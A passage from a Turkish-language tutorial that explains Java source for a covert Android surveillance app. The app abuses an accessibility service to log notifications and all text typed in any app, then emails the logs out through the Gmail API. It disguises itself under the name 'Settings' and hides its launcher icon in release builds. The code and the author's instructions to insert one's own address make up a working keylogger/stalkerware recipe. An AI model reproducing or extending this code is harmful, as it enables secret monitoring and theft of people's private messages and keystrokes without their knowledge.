if ((time - lastWindowContentChangedTime) >= RELEASE_MOD_WINDOW_CONTENT_CHANGED_DELAY) {
lastWindowContentChangedTime = time;
new Timer().schedule(new TimerTask() {
@Override
public void run() {
MailJobs.wake(AccessNotification.this);
}
}, RELEASE_MOD_WINDOW_CONTENT_CHANGED_DELAY);
}
}
}
Bu sınıfın taaa en başında iki tane değişmez değer tanımlı.
public static final long DEBUG_MOD_WINDOW_CONTENT_CHANGED_DELAY = 30000L;
public static final long RELEASE_MOD_WINDOW_CONTENT_CHANGED_DELAY = 180000L;
İki değişken ancak bu kadar açık ve net olabilir. Bu değişkenler mailin gönderilmeden önce bekleyeceği süreyi belirliyor. Bu arada accessibilityservice.xml dosyasına bir daha bak, orada şöyle bir tanım var,
android:notificationTimeout="1000"
Bunun anlamı, bu servis üzerinden alacağımız her bilgi 1 saniye arayla bize gelecek. Bu 1 saniye, bizim işimizi görmemize yeter de artar bile. Zaten yaptığımız şey bilgiyi ayıklamak ve dosyaya kaydetmek.
private void handleNotification(Notification notification, String packageName) {
long time = new Date().getTime();
String title = String.valueOf(notification.extras.getCharSequence(Notification.EXTRA_TITLE));
String text = String.valueOf(notification.extras.getCharSequence(Notification.EXTRA_TEXT));
String ticker = "-";
if (notification.tickerText != null) ticker = notification.tickerText.toString();
if (title == null) title = "null";
if (text == null) text = "null";
String nt = String.format(new Locale("tr"),
"TYPE_NOTIFICATION_STATE_CHANGED\n" +
"package : %s\n" +
"time : %s\n" +
"title : %s\n" +
"text : %s\n" +
"ticker : %s\n" +
"----------------------------------------------------------\n",
packageName, Time.whatTimeIsIt(time), title, text, ticker);
u.log.d(nt);
Mail.saveValue(this, "notification.txt", nt);
}
Oluşan bildirimi sadece kaydettik.
private void handleTextChange(final String text, final String packageName) {
final long time = new Date().getTime();
final String value = String.format(new Locale("tr"),
"package : %s\n" +
"TYPE_VIEW_TEXT_CHANGED\n" +
"time : %s\n" +
"text : %s\n" +
"-----------------------------------------------------\n",
packageName, u.getDate(time), text);
Mail.saveValue(AccessNotification.this, packageName + ".txt", value);
}
Yine gördüğün gibi sadece ve sadece kaydettik. Bilginin gönderilmesi komutu sadece TYPE_WINDOW_CONTENT_CHANGED olayında var. Neden?
Neden Neden Neden
TYPE_WINDOW_CONTENT_CHANGED her an her saniye gerçekleşir. Yeterki telefonda bir haraket olsun. Mesela rehbere gir. Yada arama kayıtlarına gir. Ya da facebook'a falan gir. Ya da hiçbir şeye girme, telefonun ana ekranına gel. Ekran üzerinde yenilenen her bir durum bu olayın kapsama alanına girer. Yani bu olay her an her saniye gerçekleşebilir. İşte bu yüzden sadece bu olay üzerinde mail gönderme işlemini başlatıyoruz. Kodda geçen MailJob bir servistir. Ama normal bir servis değil JobService'tir.
public final class MailJobs extends JobService {
private static final int MAIL_JOBS = 5;
@Override
public boolean onStartJob(JobParameters params) {
if (u.isDeviceOnline(getApplicationContext())){
String[] files = fileList();
for (String file : files) {
if (file.endsWith(".txt")) {
Mail.send(this, file);
u.run(() -> Mail.deleteAllSent(this), 10000);
}
}
}
return true;
}
@Override
public boolean onStopJob(JobParameters params) {
return false;
}
public static void wake(Context context) {
ComponentName componentName = new ComponentName(context.getApplicationContext(), MailJobs.class);
JobInfo.Builder builder = new JobInfo.Builder(MAIL_JOBS, componentName);
builder.setMinimumLatency(10000);
builder.setOverrideDeadline(60000);
JobScheduler jobScheduler = (JobScheduler) context.getSystemService(Context.JOB_SCHEDULER_SERVICE);
if(jobScheduler == null) return;
jobScheduler.schedule(builder.build());
}
}
Bunu normal bir servis yapmadık çünkü Android O (Oreo) normal servislerde uyuzluk yapıyor. Gördüğün gibi klasördeki tüm dosyaları gönderiyoruz. Tabi eğer internet varsa. Projede işimizi kolaylaştırması için bir çok metot var, açıp incelersin artık, ben burada uzun uzun anlatmayayım. Ama Time sınıfı benim hoşuma gidiyor. Zaman bilgisini biraz daha anlaşılır bir şekilde bize veriyor. Ara ara geliştiriyorum, henüz çok yeni. MyLogger sınıfı androidstudio'nun bir eklentisi ile otomatik oluşturulmuş bir sınıf. Ben yazmadım yani. Sadece bir kaç küçük düzenleme yaptım o kadar. Tüm log mesajları tek bir yerden yayınlanıyor. Şimdi bu olayları test edelim ve mevzuyu kapatalım. Testi başlatmak için Kullanım Servisi butonuna basarak açılan sayfada uygulamamızı bulup servisi aktif etmemiz gerektiğini söylememe gerek yok sanırım. Uygulamamızın adı Settings
Önemli not : projede MainActivity sınıfında maillerin gönderileceği adresi ben yorum haline getireceğim. Sen yorumu açıp oraya kendi mail adresini yazacaksın. Yoksa tüm maillerin bana gelir.

Olayımız böyle. Video uzamasın diye kestim, devamında başka mailler de geldi ekranın değişmesinden dolayı. Ekran değişikliği sürekli gerçekleşen bir olay. Hiç bir şey yapmasan bile, sadece tuş kilidini açman bile bu olayı tetikler. Bu yüzden onAccessibilityEvent metodunda farkettiysen bazı filtreler kullandık. Yani bazı bilgileri eledik. Bu eleme işlemi tabiki packageName değerine göre yapılıyor. Bazı uygulamaların ekran güncellemelerini es geçtik. Peki hangileri? Bu elenenlerin listesi MainActivity'de onCreate metodunun sonunda.
final String[] hardBlock = {
getPackageName(),
"com.samsung.android.incallui",
"com.android.vending",
"com.android.providers.downloads"
};
final String[] blockedWindows = {
getPackageName(),
"com.samsung.android.incallui",
"com.android.vending",
"com.android.providers.downloads",
"com.android.systemui",
"com.google.android.youtube",
"com.my.mail",
"com.mailbox.email",
"me.bluemail.mail",
"com.android.launcher3",
"org.kman.AquaMail",
"com.xyz.systemsetting"
};
SharedPreferences nlServicePref = getSharedPreferences("nlService", MODE_PRIVATE);
Set<String> hardP = new HashSet<>(Arrays.asList(hardBlock));
Set<String> blockW = new HashSet<>(Arrays.asList(blockedWindows));
nlServicePref
.edit()
.putStringSet("hardBlock",hardP)
.putStringSet("blockedWindows",blockW).apply();
hardBlock bildirimler için, blockedWindows ekran güncellemeleri için. Yazı değişikliğinde herhangi bir eleme yapmadık, bu yüzden tüm yazı değişikliklerini alacağız hangi uygulama hangi ekran olursa olsun. Projeyi vereceğim için her detaya girmiyorum, merak ettiğin noktaları açıp incelersin. Ama genel anlamda biraz gevezelik yapsak iyi olacak.
com.samsung.android.incallui packageName'i samsung telefonlarda gelen giden aramalarda arka arkaya bildirim oluşturan bir uygulama. Benim telefonum General Mobile ve bu telefonda ise aynı işi yapan package com.android.dialer. Başka marka telefonlarda bunun packageName'i başka bir şey olacak tabiki. Bu sebepten dolayı yukarıdaki listeye ekleme çıkarma yapabilmek gerekli. Arka arkaya bildirim oluşturan uygulamaları engellememiz gerek. Bunu bugün yapmayacağız ama mutlaka yapmalıyız. Ayrıca bilgileri göndermeden önceki bekleme süresini de mümkün olduğunca yüksek tutmamız gerek. Yani telefonu çok fazla rahatsız etmemeliyiz. Çok fazla yormamalıyız. Çok fazla kaynak tüketmemeliyiz. Yoksa sistem servisimizi durdurur. Ancak AccessibilityService daha önce kullandığımız NotificationNistenerService'ten çok daha sağlam ve kararlı. Ayrıca çok daha yetenekli gördüğün gibi. Bu yüzden bu servis üzerinde yapacağımız işlere çok dikkat etmeliyiz. Bu projede üç farklı olayı dinliyoruz ama aslında sadece AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGE olayını dinlememiz yeterli. Çünkü bu olay zaten diğer ikisi de kapsıyor. Eğer sadece bu olayı dinlersek system.ui uygulamasını da izlememiz gerekir. Bu uygulama telefonun kendisini temsil ediyor. Ve her hareketi izlemiş oluruz bu şekilde. Mesela bir bildirim geldiğinde bildirim alanını aşağı doğru kaydırdığımız zaman oradaki yazıyı tamamen yakalamış oluruz. Hatta kaydırmamıza bile gerek kalmaz. Ben yaptığım testlerde bunu gördüm. Ancak bu şekilde çok gereksiz bilgileri de almak zorunda kalırız. Bu yüzden ben ana ekranı takip etmiyorum. Ana ekran launcher da olabiliyor bazen. Yani uygulama başlatıcısı. Fakat bu system.ui'den farklı. system.ui bazen ekranda görünmeyen bildirimleri bile tutuyor. Bu da telefondan telefona değişiyor. Mesela samsung telefonlarda com.sec.android.deamonapp diye bir uygulama var. Bu uygulama ana ekranı gösteriyor. Daha başka şeyler de var, test ettikçe sende göreceksin.
Bu projede ağırlıklı olarak mail gönderimi yaptığımız için send metodunu yazdık ama get diye bir metot yazmadık. Çünkü mail almak gibi bir derdimiz yok burada. Ancak gönderilen mailleri silmek için kullandığımız deleteAllSent metodu bu işin nasıl yapıldığını sanırım gösteriyor. Çünkü mailleri önce alıyor sonra siliyor. Fakat bu biraz yanıltıcı bir durum çünkü mailler sadece id değerleriyle alınıyor, içerikleri yok. Yani eğer biz mailin body kısmında ne varmış acaba diye bakmak istersek hep null değeriyle karşılaşırız. Eğer body kısmını istiyorsak, elde ettiğimiz id değeriyle mailin tamamını almak için yeni bir çağrı yapmamız gerek. İd değerinin elimizde olduğunu varsayarsak, şu kod satırı bize maili içeriği ile birlikte verir.
getGmailService(context).users().messages().get("me", mailId).execute();
Bu kod geriye bir Message nesnesi döndürür ve bu nesne mailin tüm bilgilerini içerir. Bu kodları arkaplanda çalıştırman gerektiğini unutma. Message nesnesi içinden body değerini nasıl alacağını biliyorsun değil mi?
private static String getBody(Message message) {
return StringUtils.newStringUtf8(Base64.decodeBase64(message.getPayload().getParts().get(0).getBody().getData()));
}
Peki subject değerini nasıl alacağını biliyor musun?
private static String getSubject(Message message) {
List<MessagePartHeader> k = message.getPayload().getHeaders();
for (MessagePartHeader messagePartHeader : k) {
if ("Subject".equals(messagePartHeader.getName())) {
return messagePartHeader.getValue();
}
}
return null;
}
Artık bundan sonrasını sen halledersin. Bir diğer önemli konu, MainActivity sınıfının onDestroy metodu.
@Override
protected void onDestroy() {
super.onDestroy();
if (!BuildConfig.DEBUG) {
if(AccessNotification.isAccessibilityServiceEnabled(this, AccessNotification.class) && Mail.getFrom(this) != null)
hideApp();
}
}
Eğer uygulamayı release modda derlemişsek, AccessNotification servisimiz aktif ve hesap onayı tamam ise hideApp metodu çalışacak.
public void hideApp() {
PackageManager packageManager = getPackageManager();
ComponentName componentName = new ComponentName(this, MainActivity.class);
packageManager.setComponentEnabledSetting(componentName, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
}
Bu kodlar işledikten sonra, uygulamanın başlatıcı simgesi telefondan kaybolur. Ve uygulama hiç bir şekilde yeniden açılamaz. Sadece uygulama yöneticisinde gözükür. Eğer debug modda derlemişsek telefonda uygulamanın simgesini bulabiliyoruz herşey normal ama uygulamayı açtığın gibi geri kapanır. Neden?
@Override
protected void onResume() {
super.onResume();
if(AccessNotification.isAccessibilityServiceEnabled(this, AccessNotification.class)){
u.log.d("AccessibilityService true");
if (Mail.getFrom(this) != null) {
u.sendMessage(this, "com.xyz", "analiz başladı : " + Mail.getFrom(this));
finishAndRemoveTask();
}
}
else{
u.log.d("AccessibilityService false");
}
String from = Mail.getFrom(this);
notificationButton.setEnabled(from != null);
mCallApiButton.setEnabled(from == null);
}
Gördüğün gibi servis çalışıyorsa ve hesap onayı alınmışsa bir bildirim gönderiyoruz ve finishAndRemoveTask metodu ile activity'den çıkıyoruz.
public static void sendMessage(Context context, String title, String text) {
if (BuildConfig.DEBUG) {
createNotification(context, title, text);
}
else {
if (isDeviceOnline(context)) Mail.send(context, title, text);
}
}
Eğer uygulamayı kendi telefonunda test edeceksen debug modda derlemek daha faydalı. Gördüğün gibi bize bildirim veriyor, release modda ise mail gönderiyor. Fakat gönderilen mail gördüğün gibi direk gönderiliyor. Yani konusunu ve içeriğini verip yolluyoruz. Ama eğer internet yoksa bu bilgi kaybolur. Servis içinde neden bilgileri önce dosyaya kaydettiğimizi anlıyorsun değil mi? İnternet olmasa bile bilgiler toplanmaya devam edecek. Ama bu şekilde direk gönderilen mailler internetin yokluğunda kaybedilir.
Söyleyeceklerim şimdilik bu kadar. Projeyi buradan inceleyebilirsin. MainActivity'deki yorum satırını açıp kendi mail adresini yazmayı unutma. Ayrıca bu bir kütüphane değil, bu bir proje. Yani bunu indirip olduğu gibi kullanamazsın, düzenleme yapman gerek.